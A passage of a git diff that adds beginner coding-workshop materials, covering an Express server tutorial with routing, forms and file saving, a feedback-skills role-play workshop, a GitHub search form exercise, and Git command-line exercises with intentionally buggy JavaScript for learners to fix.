to do. Here's a simple "Hello World!" example: + +```js +// req is the Request object, res is the Response object +// (these are just variable names, they can be anything but it's a convention to call them req and res) +app.get("/", (req, res) => { + res.send("Hello World!"); +}); +``` + +Here, we are telling our server to respond with "Hello World!" when someone +tries to access the webpage. + +## 1. Create your own handler function. + +We are now making a handler function with a custom message in our response. You can write any message you want. + +Update your `server.js` file with an empty `app.get()` function: + +```js +const express = require("express"); +const app = express(); + +app.get("/", (req, res) => {}); + +app.listen(3000, () => { + console.log("Server is listening on port 3000. Ready to accept requests!"); +}); +``` + +> Exercise: Try to `console.log` the `request` object inside the handler function. Restart your server, refresh the browser, then go to your terminal to see what it looks like. You should see a lot of data come through. + +## 2. Tell your handler function what to do + +We want our handler function to send back a message to the client. To do that, we're going to use the Express `send()` +[method](https://expressjs.com/en/api.html#res.send). This will update the response object with the message. + +Update your handler function like so: + +```js +const express = require("express"); +const app = express(); + +app.get("/", (req, res) => { + res.send("Yay Node Girls!"); +}); + +app.listen(3000, () => { + console.log("Server is listening on port 3000. Ready to accept requests!"); +}); +``` + +## 3. Check it out in your browser + +Quit your server in the terminal with `ctrl + c`. Then restart it to run your new changes. + +```sh +node server.js +``` + +Now, open Chrome and navigate to `http://localhost:3000`. If you see your message in the browser, congratulations! You just sent your first response from the server. + +# Step 5 - Routing + +At the moment our server only does one thing. When it receives a request from the `/` endpoint, it sends back the same response: "Yay Node Girls!". + +> Try typing http://localhost:3000/nodegirls and see what happens. + +However by making use of endpoints, we can make the server send different responses for different requests. This concept is called **routing**. + +### What is an endpoint? + +An endpoint is the part of the URL which comes after `/`. For example: +`/chocolate` is the "chocolate" endpoint. It's the URL to which you send a request. + +### What is a URL? + +```mermaid +sequenceDiagram + participant U as URL + participant P as Protocol + participant H as Host + participant Po as Port + participant R as Resource Path + Note over R: (Endpoint) + participant Q as Query Params + + U->>P: http:// + U->>H: www.domain.com + U->>Po: :1234 + U->>R: /path/to/resource + U->>Q: ?a=b&x=y +``` + +## 1. Create your own endpoints and send different responses + +We're going to try sending different responses at different endpoints. Remember the `app.get()` method? To set up routing in your server, we need to repeat this method with different endpoints. + +For example: + +```js +app.get("/", (req, res) => { + res.send("Hello World!"); +}); + +app.get("/chocolate", (req, res) => { + res.send("Mm chocolate :O"); +}); +``` + +> **Exercise:** Add some code so that your server sends one message when the endpoint is `/node` and another one when it's `/girls`. + +### Step 6 - Serving static files + +So we know how to send back a simple message. But what if you want to send back a whole HTML page, or an image? + +Things like HTML files, images etc are called **static assets**. If you want your server to "serve" static assets back to the browser, you need to do something different than just using the `res.send()` method. + +To be able to send any file from the server we need a special, built-in +**middleware** function that comes with Express: `express.static()`. Read more about it in [the Express JS docs](https://expressjs.com/en/starter/static-files.html). + +Say we want to serve all the static assets in our "public" folder. The +`express.static()` function will look like this: + +```js +app.use(express.static("public")); +``` + +## 1. Serve static files from your server + +Delete all your `app.get` endpoint functions, and replace them with the line of code above. Restart your server, refresh your browser and see what happens! If you see a Node Girls CMS, then your static assets have been successfully served. + +### HTTP request methods + +All requests use one of the `HTTP methods`. The main ones are: `GET, POST, PUT, DELETE`. + +`app.get` deals with requests that use the `GET` HTTP method. + +> We will go into these Methods into more details, but for now: + +- `GET` is a method for GETting data +- `POST` is for POSTing/inserting new data +- `PUT` is for updating existing data +- `DELETE` is for deleting data + +### The `POST` http request method + +When sending data to the server, we use the `POST` http request method, instead +of `GET`. + +Let's try `POST`ing some text to the server. + +We're going to add a form to the `index.html` page, so that you can write your blog posts from there. + +Open up the `index.html` file in your text editor. If you have a look, you should see this: + +```html +
                      + +
                      +``` + +**Replace the greyed-out comment with this code snippet:** + +```html +

                      Create a blog post

                      +
                      + + +
                      +``` + +- This form has a text area and a send button. +- The `action` attribute is the endpoint form data will be sent to. +- The `name` attribute will be used later to reference the data. + +When you hit send, the form will send a `POST` request to the server. The form will use whatever is in the `action` attribute as the endpoint (destination). In our case it's `/create-post`. + +> **Exercise:** Open Chrome Developers tool, click the button and see what happens. + +### Receiving the blog post on the server + +- Data doesn't come through the server in one go; it flows to the server in a **stream**. Think of a stream as water flowing from a tap into a bucket. Your job is to collect this water in the server. + +If we were writing a pure Node server, we would have to think about how to collect the stream of data properly. But luckily for us, Express handles all of that stuff. + +All you need to do is define a route to deal with requests that come through on the `/create-post` endpoint. + +Let's remind ourselves of a `GET` route in Express: + +```js +app.get("/hello-world", (req, res) => { + res.send("Hello there!"); +}); +``` + +> **Exercise:** This time we want to define a route to deal with a `POST` request not a `GET`. What do you think you would need to do differently? + +Experiment and see if you can define a route for the `/create-post` endpoint! + +For now, make your `/create-post` handler simply do this: `console.log('I am /create-post endpoint')`. + +--- + +### Extracting the blog post + +Now the contents of your blogpost is hidden in your `req` object somewhere. Normally you would extract it using `req.body`. Try to console.log `req.body` now. + +Getting `undefined`? Not to worry, that's normal. When data has been `POST`ed to the server as `FormData`, we need to do things slightly differently to access the data that's come through in the request. + +We need another middleware function. Something that can get extract the contents out of the special `FormData` object. For this we will use `express-formidable`. `express-formidable` is another Express middleware. It will extract the form data from the request and make it available to you when you do `req.fields`. + +This time though, `express-formidable` is not built-in, we need to install it. + +**In your terminal, install express-formidable** + +```bash +npm install express-formidable --save +``` + +`require` `express-formidable` so you can use it in your code. You can't use dashes in JavaScript variable names, so call it `const formidable`. + +```js +const formidable = require("express-formidable"); +``` + +Now add this towards the top of your server, after your `require`s and +`app.use(express.static('public'))`, but before your `/create-post` endpoint: + +```js +app.use(formidable()); +``` + +Now inside your `/create-post` function, add: + +```js +console.log(req.fields); +``` + +Refresh your server and have another go at writing a blog post. + +You should now see an object in the console. The key should be `blogpost`, just like the name attribute in the form on the HTML page. The value of `blogpost` will be your message! + +> **Exercise**: Try putting `app.use(formidable());` at the end of the file +> (after the `create-post` but before starting the server) + +> **What is a middleware in Express?** Middleware functions are functions that have access to the request object (req), the response object (res), and the next function in the application’s request-response cycle. The next function is a function in the Express router which, when invoked, executes the middleware succeeding the current middleware. Read more on [writing middleware in the Express documentation](https://expressjs.com/en/guide/writing-middleware.html) + +### Step 8 - Saving your blog post + +Right now, your precious blog posts aren't being saved anywhere, which is a bit of a shame. Let's do something about that. + +You'll note that in the data folder there's a new file called `posts.json`. + +If you look at `posts.json` will see there's already one blog post there. The format is: + +```js +{ + [timestamp]: [blog post message] +} +``` + +We've used a timestamp as the key so that the blog posts are listed in +chronological order. Also, it's a record of when the blog post was created. + +### Writing to your hard drive + +Anytime a blog post comes through to the server, we want to save the data on your computer's hard drive. To do this, we need to use a built-in Node module: `fs`, which stands for 'file-system'. + +Built-in Node modules - **core Node modules** - are rather like the built-in Express middleware functions. Only difference is that where you need to have installed Express to use Express middleware functions, the core Node modules come automatically with Node itself. + +To use `fs`, require it at the top of your server file: + +```js +const fs = require("fs").promises; +``` + +The method we need to write to your hard drive is `fs.writeFile`. + +```js +fs.writeFile("path/to/file", yourData) + .then(() => { + console.log("successfully written to the file"); + }) + // do something +}); +``` + +- Argument 1: `"path/to/file"` the location of the file you want to write to +- Argument 2: `yourData` the data you want to write + +The 'path/to/file' will be replaced with the actual path to the file you want to write to. If it doesn't exist, `fs.writeFile` cleverly creates one for you. But we already have `posts.json`, so not to worry. + +### Reading from your hard drive + +To read data that's already there, you would use `fs.readFile`. The way to use `fs.readFile` is very similar to `fs.writeFile`: + +```js +fs.readFile("path/to/file") + .then(file => { + console.log(file); + }) + // do something +}); +``` + +- Argument 1: the location of the file you want to read from + + +Let's read the data from the `posts.json` file. Make sure you've `require`d the `fs` core Node module at the top of your server file somewhere. + +Add this code to your server (put it anywhere after the `require`s for now): + +```js +fs.readFile(__dirname + "/data/posts.json") + .then(file => { + console.log(file); + }) + console.log(file); +}); +``` + +(`__dirname` is a Node global object that gives you a path to your current working directory. It's handy to avoid writing the whole path out in full.) + +If you restart the server, you'll probably see something like this: + +```bash + +``` + +This is actually the contents of your `posts.json` file, but in a format called a **buffer**. To make it a bit more human-readable,console.log the file to a string, like this: + +```js +console.log(file.toString()); +``` + +`file` is in JSON format right now. To access the blog post message inside `file`, we need to parse it from JSON back to a JavaScipt object. + +Add this next bit of code to the `.then` callback for `fs.readFile`'s: + +```js +const parsedFile = JSON.parse(file); +``` + +Now `parsedFile` is a normal JavaScript object, and we can access the data inside it. + +Ok, so we've talked about JSON and we've talked about reading and writing files. You now have the power to save new blog post data to your hard drive! Work with your partner and your mentor to see if you can figure the next steps out on your own. + +Here's a breakdown of what you want to achieve: + +- When new blog post data comes through, read from `posts.json` to access its contents +- Add your new blog post data to the old ones. +- Write your new combined data back to the `posts.json` file. + +### Things to remember + +- `fs.writeFile()` normally overwrites the target file you've given it. Chances are you don't want to lose all your old blog posts every time you get a new one, so think about how you can combine `fs.readFile()` and `fs.writeFile()` to prevent overwriting. + +- You will need to convert between JSON and a JavaScript object several times. `JSON.parse()` and `JSON.stringify()` are what you need. + +Oh by the way, if you want to get the current timestamp, use the JavaScript `Date.now()` method. + +### Step 9 - Displaying your blog posts + +So now we're saving the blog posts to the server, it's time to display them in the browser! + +Look inside `public/script.js`. There's a whole bunch of JavaScript code in there. Don't worry about what all the code means, just know that it's responsible for sending a request to GET old blog posts and display them on the page underneath "Recent Posts". + +`script.js` is trying to load existing posts by making a GET request. Look inside `script.js` and see if you can find any useful endpoints. + +Your `script.js` file will want to receive the JSON containing your blog posts. Your job is to make that happen! + +Express has a handy method called `res.sendFile()` that makes it easy to send files back to the client. Feel free to use this with your JSON. + +If all goes well, you should have a fully functional CMS! + +## Stretch + +For a really good workout, redo this workshop using + +1. Node and Next.js +1. Deno and Oak + +## Acceptance Criteria + +- I have created an Express server diff --git a/feedback/readme.md b/feedback/readme.md new file mode 100644 index 00000000..941a614f --- /dev/null +++ b/feedback/readme.md @@ -0,0 +1,148 @@ +# Feedback Workshop 🗣️ + +Feedback is the foundation of effective collaboration. Both giving and receiving feedback are important communication skills to master. + +### Tips for Giving Feedback: +* Give feedback in the right context, being mindful of tone and its impact on the receiver. +* Give feedback in a timely fashion, be direct, and non-accusatory (assume positive intent). +* Give feedback privately. +* Sometimes it is also better to ask if someone would like feedback. + +### Tips for Receiving Feedback: +* Receiving feedback is crucial for measuring your progress and understanding unspoken expectations. +* Ask for feedback early and often. [Asking for feedback late on a project or presentation can lead us to be less receptive to criticism](https://hbr.org/2023/06/the-right-time-to-ask-for-feedback#:~:text=The%20best%20approach%20is%20to,annual%20performance%20review%20rolls%20around). +* Not all feedback will always be positive, it is important to learn to take good and bad feedback in stride. + +We will practice giving and receiving feedback today. + +## Learning Objective 💡 + +After the workshop today, participants will be able to: + +- [ ] Choose a framework for giving clear, direct feedback depending on the scenario. +- [ ] Reflect on the impact of feedback on personal growth and team dynamics +- [ ] Apply feedback techniques to real-world situations, balancing critique with encouragement +- [ ] Apply techniques for receiving tough feedback + +## Set up 🌼 + +- Pair up into groups of 2 + +## The Activity 🏆 + +First, read [this article](https://tanzu.vmware.com/content/blog/mastering-feedback-in-the-workplace) on mastering feedback in the workplace. + +Read the following scenarios and role-play each. One person will be giving the feedback and one person will be receiving the feedback. After each scenario switch who is giving the feedback and who is receiving it. + +For the person giving feedback, remember to: +- Be direct +- Use clear language +- Talk about behavior, not personality +- Be kind + +For the person receiving feedback, remember to: +- Be available and approachable +- Accountable +- Steer clear of defensiveness +- Take a moment to reflect before responding +- Assume positive intent + +### Practice Giving Feedback [20 mins] + +* Spend 3 mins on each of these scenarios. +* One person will be giving the feedback and one person will be receiving the feedback. After each scenario switch who is giving the feedback and who is receiving it. + +1. Situation, Behavior, Impact (SBI) Framework + +The [SBI Framework](https://www.revolutionlearning.co.uk/article/the-sbi-feedback-model/) structures feedback in the following order: +* Situation: Describe the situation +* Behavior: Describe the behavior observed +* Impact: Explain the effect of the behavior on you, your team, or the organization + +Try Applying the SBI method to the following scenario: A teammate consistently misses deadlines and when they finally do deliver their tasks, they are often not of good quality tasks requiring the rest of the team to redo portions of their work. + +Objective: Use the SBI framework for giving feedback. Practice addressing issues of accountability, responsibility, and time management without demotivating the person. + +2. Observation, Feelings, Needs, and Request (OFNR) framework + +The [OFNR framework](https://andyblumenthal.wordpress.com/2019/09/21/ofnr-communications-model/) consists of four parts: +* Observation: Tell the other person the behavior you observe from them that is making you uncomfortable. "When I Observe…" +* Feelings: Explain how the person’s behavior makes you feel (happy, sad, angry, annoyed, excited, worried, scared, hurt, embarrassed, confused) "I feel…" +* Needs: Describe what you need from the other person (physiological, safety, social, esteem, self-actualization) "Because I need…" +* Request: Ask them specifically what you’d like them to do. "Would you be willing to…" + +Try Applying the ONFR method to the following scenario: A team member gives an informative presentation that is too long-winded, going over an hour causing the audience to lose focus. This presentation will be used at the next client meeting which is only 1 hour long and needs to cover many other topics. + +Objective: Use the (OFNR) framework to give the team member feedback. Practice providing feedback on communication skills, structuring information, and presentation techniques. + +3. Actionable, Specific, Kind (ASK) framework + +The [ASK framework](https://www.stride.build/blog/using-ask-framework-to-give-feedback) focuses on the following attributes: +* Actionable: Address the actionable issue +* Specific: Be specific in your request. +* Kind + +Scenario: A colleague dominates team discussions, interrupting others or dismissing alternative ideas without considering them. His behavior is often seen as grating or rude by the team. + +Objective: Use the ASK framework to give feedback. Start by addressing the actionable issue and be specific in your request. Make sure it is delivered in a kind and understanding manner. Address how their behavior affects group dynamics and encourage a more inclusive approach, allowing others to share their thoughts. + +4. Goal, Reality, Options, Will (GROW) model + +The [Grow framework](https://www.mindtools.com/an0fzpz/the-grow-model-of-coaching-and-mentoring) focuses on mentoring and guidance to give feedback +* Goal: Explore the individual's goals +* Reality: Assess the current reality +* Options: Brainstorm options +* Will: Create a list of actions to commit to to achieve the goal + +Scenario: A colleague is working towards a promotion to senior software engineer and has asked you for feedback on their performance. Although they have great technical proficiency you have noticed that they do not speak up during meetings unless directly asked and often wait for tasks to be assigned instead of taking initiative. + +Objective: Use the GROW model to speak with your colleague. + +### Choose a Framework for Giving Feedback [10 mins] + +We have looked at the following frameworks for giving feedback: +- Situation, Behavior, Impact (SBI) - Describe the situation, detail the specific behavior observed, and explain the impact it had. +- Actionable, Specific, Kind (ASK) - Start with an actionable issue, be specific in your request and make sure it is delivered in a kind manner. +- Observation, Feelings, Needs and Actions (OFNA) - discuss an observation, how it made you feel, what needs to happen to rectify this behavior and the actions they can take. +- Goal, Reality, Options, Will (GROW) model. Explore the individual's goals, assess the current reality, brainstorm options, and commit to action. This model is best suited when the individual is already aware of the area to improve. + +For the following scenarios, discuss with your partner which framework you think should be applied. + +1. Behavioral Feedback + +Scenario: A team member frequently arrives late to meetings, affecting the team's schedule. + +2. Positive Feedback for Improvement + +Scenario: A colleague made significant improvements in their work, but there’s still room for further development. + +3. Conflict Resolution + +Scenario: Two team members have a disagreement about how to approach a project, leading to tension in meetings. + +4. Performance Review + +Scenario: You are giving a formal performance review to a team member whose work has been solid but lacks creativity or initiative. + +5. Cross-Team Collaboration + +Scenario: A team member from another department is not communicating well with your team, leading to delays and confusion. + + +## Reflection 🧘‍♂️ [10 mins] + +Come together as a group and discuss the following: + +When giving feedback: +- What challenges did you face when delivering feedback? +- How did you decide which feedback framework to use? Would you choose the same framework in real life? +- Which framework do you find the most useful? Which did you struggle with the most? +- How did you balance providing constructive criticism with being supportive? +- Did the scenario feel realistic or exaggerated? How would you adapt your approach in a real-world situation? +- How do you think feedback methods can differ depending on the person or context? + +When receiving feedback: +- How did the feedback make you feel? Was it easy to remain open to feedback? +- Were there any moments when you felt defensive? How did you manage those feelings? How might you manage those feelings in real-world scenarios? +- Was the feedback clear and actionable? How would you apply it to improve? +- How can you proactively seek out more feedback from your peers or mentors? diff --git a/get-forms/index.html b/get-forms/index.html new file mode 100644 index 00000000..3128251b --- /dev/null +++ b/get-forms/index.html @@ -0,0 +1,13 @@ + + + + + + + + + + +
                      + + diff --git a/get-forms/readme.md b/get-forms/readme.md new file mode 100644 index 00000000..c56e3fa3 --- /dev/null +++ b/get-forms/readme.md @@ -0,0 +1,125 @@ +# Get Forms + +This workshop is about writing forms in HTML. + +Note: this workshop is deployed to Netlify at [https://cyf-workshop.netlify.app/get-forms](https://cyf-workshop.netlify.app/get-forms) and branch previews are turned on. Any PRs opened to `main` will be deployed automatically and can be looked at via the bot link on that PR. + +## Learning Objectives + +```objectives +- [ ] Interpret requirements and express them as HTML +- [ ] Interact with the GitHub Search API +- [ ] Validate user data +- [ ] Test a form against acceptance criteria +- [ ] Report on the results of testing on a PR +- [ ] Make changes to code based on feedback +``` + +## Requirements + +Before you start, make sure you've done your prep work on forms and worked through some of the examples in the [HTML forms](https://developer.mozilla.org/en-US/docs/Learn/Forms) section of MDN. + +Today we're going to build a form that interacts with GitHub Search. It's a bit unusual for a form as we are writing a [GET method](https://developer.mozilla.org/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data#on_the_client_side_defining_how_to_send_the_data), where the form requests, or _gets_ data, instead of a POST method, which sends data. + +Next, we're going to swap our forms with another group and test the form we made. + +Last, we're going to make changes based on the test feedback. Because it's important that software works and that people can use it. + +But first, everybody needs to be ready to participate. + +### 🧰 1. Setup + + + +1. Set a [timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +1. Fork this repository to your own GitHub account. +1. Clone the repository to your machine. +1. Checkout a new branch called `cohort/your-name`. +1. Open get-forms/index.html in VS Code. + + +## 📖 GitHub Search Project Briefing: + +
                      + +Create a form so the user can search GitHub repositories based on specific criteria. + + +### 👤 User Stories: + +- As a user, I want to search on GitHub. +- As a user, I want to sort my results by stars, forks, or when last updated. +- As a user, I want to sort my search results in my preferred order, ascending or descending. + +### ✅ Acceptance Criteria: + +#### US1: Search Field + +**Given** I am on the GitHub search form, +**When** I select the search field, +**Then** I should be able to type in my search query. + +#### US2: Sorting Results + +**Given** I am on the GitHub search form, +**When** I choose from options of stars, forks, and updated. +**Then** the results are sorted by stars, forks, or last updated. + +#### US3: Options for Sort Order + +**Given** I am on the GitHub search form, +**When** I choose a sort order +**Then** the results should be sorted in my preferred order, ascending or descending. + +#### Overall Acceptance Criteria + +**Given** I am on the GitHub search form, +**When** I run Lighthouse +**Then** the Accessibility score is 100. + +
                      + +### 2. 🧱 Build the form + + + +1. Set a [timer for 45 minutes](https://www.google.com/search?q=timer+for+30+minutes). +2. Work in pairs. +3. Read the project briefing _carefully_. +4. Look in the [resources section](#resources) for help with the elements you might need. +5. Write your HTML in `get-forms/index.html`. Do as much as you can, leaving time to open your PR (10 or 15 minutes). +6. Open a pull request to this repo with your work. Your PR will show up in the [list of PRs for this repo](https://github.com/CodeYourFuture/CYF-Workshops/pulls) and a deploy preview will be created and linked on your PR. Explore this. + + + +### 3. 🧪 Test the form + + + +1. Set a [timer for 15 minutes](https://www.google.com/search?q=timer+for+30+minutes). +2. Swap your form with another group by choosing the PR directly above yours [in the PR list](https://github.com/CodeYourFuture/CYF-Workshops/pulls). If you are at the top of the list, choose the PR at the bottom of your group! +3. Test your colleague's form against the acceptance criteria. +4. Comment on their pull request with what you have found. + + + +### 4. 🫠 Review and respond + + + +1. Set a [timer for 15 minutes](https://www.google.com/search?q=timer+for+30+minutes). +2. Read the comments on your pull request. +3. Make changes you need to make to your form to pass the acceptance criteria. +4. Commit and push your changes to your branch; your pull request will update automatically. +5. If your pair doesn't have changes, join a team that does and help them. + + + +## Resources + +- [MDN: HTML forms](https://developer.mozilla.org/en-US/docs/Learn/Forms) +- [MDN: Search Input](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/search) +- [MDN: Radio Button](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/radio) +- [MDN: Select](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/select) +- [MDN: Option](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option) +- [MDN: Button](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button) diff --git a/git-cli/branching.md b/git-cli/branching.md new file mode 100644 index 00000000..082ef6ce --- /dev/null +++ b/git-cli/branching.md @@ -0,0 +1,20 @@ +# Checking out + +## Learning objectives + +- [ ] Checkout a new branch using the Git CLI + +We need to create **branches** so we can start making changes independently from other branches. +Let's use the Git CLI to do this: + +## Steps 👣 + +1. Run the command `git branch --help` and check the description to see what happens when the `--list` option is used with the `git branch` command + +2. Now run the command `git branch` and double check your current branch. + +3. Run `git switch --create git-cli-workshop` to create a new branch called `git-cli-workshop` and switch to it. + +4. Now double check you're on a new branch. + +[Next section](./recap.md) diff --git a/git-cli/checkpoint.md b/git-cli/checkpoint.md new file mode 100644 index 00000000..60a28307 --- /dev/null +++ b/git-cli/checkpoint.md @@ -0,0 +1,15 @@ +# Checkpoint 🏁 + +## Learning objectives + +- [ ] Inspect the existing timeline of commits using the Git CLI + +## 👣 Steps + + +1. Use the `git log --help` command to get a description of the `git log` command +2. Then run the command `git log` to list the commits +3. Before continuing, use the Git CLI to double check what branch you're currently on + + +[Next section](./committing.md) diff --git a/git-cli/committing.md b/git-cli/committing.md new file mode 100644 index 00000000..53ed79a4 --- /dev/null +++ b/git-cli/committing.md @@ -0,0 +1,22 @@ +# Committing changes + +## Learning objectives + +- [ ] commit changes from the staging area + + +First, double check the state of your **Working Tree** and your **Staging Area** +You should do this in two ways: use the VSCode **interface** and the Command line **interface** + +Now you can use [`git commit` command](https://www.w3schools.com/git/git_commit.asp?remote=github) to commit your changes. + +Read the docs above to create a commit using the `git commit` command. + + +Check you successfully created a commit. Which command can you use? + + +## Next steps 👣 + +Once you've done your first commit for `exercises/ex-1.js`, repeat these steps to solve the other exercises. +Make sure you frequently swap the role of **driver** and **navigator**. \ No newline at end of file diff --git a/git-cli/exercises/ex-1.js b/git-cli/exercises/ex-1.js new file mode 100644 index 00000000..86f7bd33 --- /dev/null +++ b/git-cli/exercises/ex-1.js @@ -0,0 +1,8 @@ +const albumTitle = "damn."; +const artist = "Kendrick Lamar"; + + +console.log(`The 4th studio album by ${artist} was ${toUpperCase(albumTitle)}`); +// This log should print a string with the artist's name and the album title to upper case +// However, it isn't working at the moment! +// Try running this file with node to identify the error and then fix the problem \ No newline at end of file diff --git a/git-cli/exercises/ex-2.js b/git-cli/exercises/ex-2.js new file mode 100644 index 00000000..4a7c9185 --- /dev/null +++ b/git-cli/exercises/ex-2.js @@ -0,0 +1,13 @@ + + + +const trackLength = 9; // time in seconds +const minutes = trackLength / 60; +const seconds = trackLength - minutes * 60; + + +console.log(`${minutes}:${seconds}`); +// should print the time in minutes:seconds, +// where minutes and seconds are whole numbers +// work out why it isn't working at the moment +// try logging variables to check what isn't working and the \ No newline at end of file diff --git a/git-cli/exercises/ex-3.js b/git-cli/exercises/ex-3.js new file mode 100644 index 00000000..16697d31 --- /dev/null +++ b/git-cli/exercises/ex-3.js @@ -0,0 +1,10 @@ + + +// this person has tried adding a comma to a number so it is easier to read +// use console.log for the value of numericalStringWithCommas +// then re-write the expression for numericalStringWithCommas using template literals instead of + + +const numberOfPlays = 46462; +const numericalStringWithCommas = Math.floor(numberOfPlays / 1000) + ',' + numberOfPlays % 1000; + +console.log(numericalStringWithCommas); \ No newline at end of file diff --git a/git-cli/exercises/ex-4.js b/git-cli/exercises/ex-4.js new file mode 100644 index 00000000..7964f59d --- /dev/null +++ b/git-cli/exercises/ex-4.js @@ -0,0 +1,7 @@ + +let headline = `Mark Zuckerberg's Message to Facebook Employees: + +Mark Zuckerberg shares some of the most difficult changes we've made in Meta's history.` + +// Use a string function to replace Facebook with Meta in the string above +// Log out the value of the headline to check your answer \ No newline at end of file diff --git a/git-cli/exercises/ex-5.js b/git-cli/exercises/ex-5.js new file mode 100644 index 00000000..cc3fac3c --- /dev/null +++ b/git-cli/exercises/ex-5.js @@ -0,0 +1,12 @@ +// Someone is trying to split up numbers into tens and units + +const num = 37; +// so for num, they want to build a string "37 is 30 + 7" +// 3 represents the tens +// 7 represents the units + +const placeValueString = `${num} is ${num / 10} + ${num % 10}`; +// try declaring some variables to store the tens and the units to make this more readable +// also there's a small bug at the moment: can you fix it? + +// once you're finished try changing the value of num to see if it still works \ No newline at end of file diff --git a/git-cli/exercises/ex-6.js b/git-cli/exercises/ex-6.js new file mode 100644 index 00000000..8f53e6d6 --- /dev/null +++ b/git-cli/exercises/ex-6.js @@ -0,0 +1,5 @@ +let versionNumber = '2.5.3'; +// user wants to update the version number from '2.5.3' to '2.5.4' but it's not working +versionNumber++; + +// log the versionNumber to work out what what's going wrong diff --git a/git-cli/readme.md b/git-cli/readme.md new file mode 100644 index 00000000..bcb45128 --- /dev/null +++ b/git-cli/readme.md @@ -0,0 +1,42 @@ + + +## 💡 Purpose + +Currently, you're using the 🎮 VSCode **interface** to interact with Git. +However, we can often use different **interfaces** to carry out the same tasks. + +In this workshop, you will use the Git CLI - Command Line **Interface** to interact with Git. +In addition, you will: + +- Consolidate existing knowledge of Git +- Develop your **mental model** of the working tree and the staging area +- Learn to use basic Git CLI commands + + +## 📝 Learning objectives + +During this session, with the Git CLI, you will: + +```objectives +- [ ] Research essential git commands commands for creating a commit +- [ ] Inspect the status of the working directory and staging area +- [ ] Checkout a new branch +- [ ] Add changes from the working tree to the staging area +- [ ] Commit changes from the staging area +``` + +## 🧰 Setup + +Work in pairs: + +- Assign one person to be **driver** (the driver will control the keyboard and do the typing) +- Assign another person to be **navigator** (the navigator will read out the questions and explain how to tackle the problems). + +The **driver** must ensure they have a clone of this repo on their local machine. + + +## 📜 Instructions + +Follow the link to the readmes for further instructions: + +Head to the [Starting point](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/git-cli/branching.md) for more instructions diff --git a/git-cli/recap.md b/git-cli/recap.md new file mode 100644 index 00000000..8ddc2a08 --- /dev/null +++ b/git-cli/recap.md @@ -0,0 +1,29 @@ + +# 📲 Recall + +## Learning objectives + +- [ ] check the **status** of the working tree and the staging area + +Let's recall the git commit workflow: + +1. We make **changes** to our source code **in the working tree**. +2. We then **stage** our changes. +3. We then **commit** our **staged changes**. + +The **working tree** is a key concept in Git. +It is the directory with the files and folders that we can view and edit. +When we're making changes to our code in VSCode, we're making changes in the working tree. + +To understand what is happening in this workshop, you will need to continually check the **status** of the **Working Tree** and the **Staging Area**. + +So let's start with a check... + +## 👣 Steps + +1. Run the command `git status --help` and check the name and description of this command (Press `q` to quit) +2. Open the repo you cloned down during setup, and run the command `git status` +3. Discuss the log you get from running the command `git status` - what do you think this tells you at the moment? + + +[Next section](./staging.md) diff --git a/git-cli/staging.md b/git-cli/staging.md new file mode 100644 index 00000000..3f06498a --- /dev/null +++ b/git-cli/staging.md @@ -0,0 +1,44 @@ +# Staging changes + + +## Learning objectives + +- [ ] stage changes in our working directory +- [ ] check the state of the working directory and the staging area + + +## Updating the working tree + +Let's make a change to the current working directory and then stage that change. + + +### Steps 👣 + +1. Open this project in VSCode. +2. Go to `exercises/ex-1.js` and try the first exercise. + +You will have made a change to the **working tree**. + +3. Now go to the Version Control tab in VSCode and look for your change to the Working Tree. + + +## Staging area 🔴🟢 + +We need to tell Git which changes we want to include in our next commit. + +We do this by promoting these changes files to the **staging area**. + +🔑 **Staging area** is the space to prepare (stage) the changes that will be in the next commit. + +This is useful because we don't always want to commit all of our changes at the same time. + + +### Steps 👣 + +1. Use `git status` command to check the state of your **Working Tree** and your **Staging Area**. What does `git status` tell you? +2. Now **stage** this change using the `git add` command to stage your change to `exercises/ex-1.js` +3. Finally, check the status of the **Working Tree** and the **Staging Area**. + + + +[Next section](./checkpoint.md) diff --git a/git-day-1/README.md b/git-day-1/README.md new file mode 100644 index 00000000..40a29512 --- /dev/null +++ b/git-day-1/README.md @@ -0,0 +1,352 @@ +# Git Day 1 + +Git is a tool for software development that you will likely come to rely on in your software development journey. It might seem complex at first but with continuous practice, you will begin to disentangle the complexity. + +## 💡 Objective + +This workshop will deepen your understanding of Git. By the end of this workshop, participants will: +- [ ] Navigate a GitHub repository using the VSCode interface +- [ ] Fork and clone a repository, create branches, and commit changes using the VSCode interface +- [ ] Articulate the difference between a fork and clone +- [ ] Explain their mental model of the working tree and the staging area + +## Setup + +- Break out into groups of 5/6 ( depending on volunteer and trainee numbers ) +- Use these instructions as a guide to check your understanding, resolve misconceptions and develop your understanding + +This workshop starts with a recap based on this week's prep material... + +## Exploring GitHub repositories + +### Recap activity 🕹️ + +- Trainees do this section in pairs +- ⏲️ 10 mins + +Let's recap some of the things from earlier in the week. + +Visit the following repository on GitHub: https://github.com/CodeYourFuture/cyf-demo-repo + +Answer the following questions: + + +a) How many commits are there in the cyf-demo-repo project? + +b) Who committed on Oct 31, 2020? + +c) What changes did illictonion make in the commit titled "Revert changes accidentally pushed in the past"? + +d) How many files were added in the first commit? What were the names of the files? + +e) What is the hash for the first commit in the history? + +f) What is Claire Bickley's favourite food? + + +### 🧵🗣️ group discussion + +- Group discussion +- ⏲️ 10 mins +- A volunteer will need to facilitate this section + +A volunteer can facilitate this group discussion by going through the questions above and asking pairs for their feedback. If pairs are unsure / not quite accurate then spend a small amount of time addressing misconceptions. +Remember to ask around for feedback. + + +## Creating a fork 🍴 + +### 🕹️ Recap activity + +- Trainees do this section in pairs +- ⏲️ 5 mins + +Use the guidelines from the prep section of this week to create a fork. + +1. On one person's computer, fork this repo: https://github.com/CodeYourFuture/cyf-demo-repo +2. 📝 Double-check the URL of your forked repo. How can you tell the fork was successfully created? + +### Group discussion/demo 🧵 🗣️ + +- Groups discussion +- ⏲️ 5 mins +- A volunteer will need to facilitate this section + +A volunteer will need to navigate and let the group guide them in creating a fork. + +## 🌀 Cloning a repository + +### 🕹️ Recap activity + +- Trainees do this section in pairs +- ⏲️ 5 mins + +#### 📋 Check your understanding + +Before continuing, try answering the following: + +❓ what is the difference between a **fork** and a **clone**. + +Remember to check your answer before continuing. + + +1. Clone your fork of `cyf-demo-repo` to your local machine. +2. Open this local repository using VSCode. +3. Use `pwd` in your terminal to check you're in 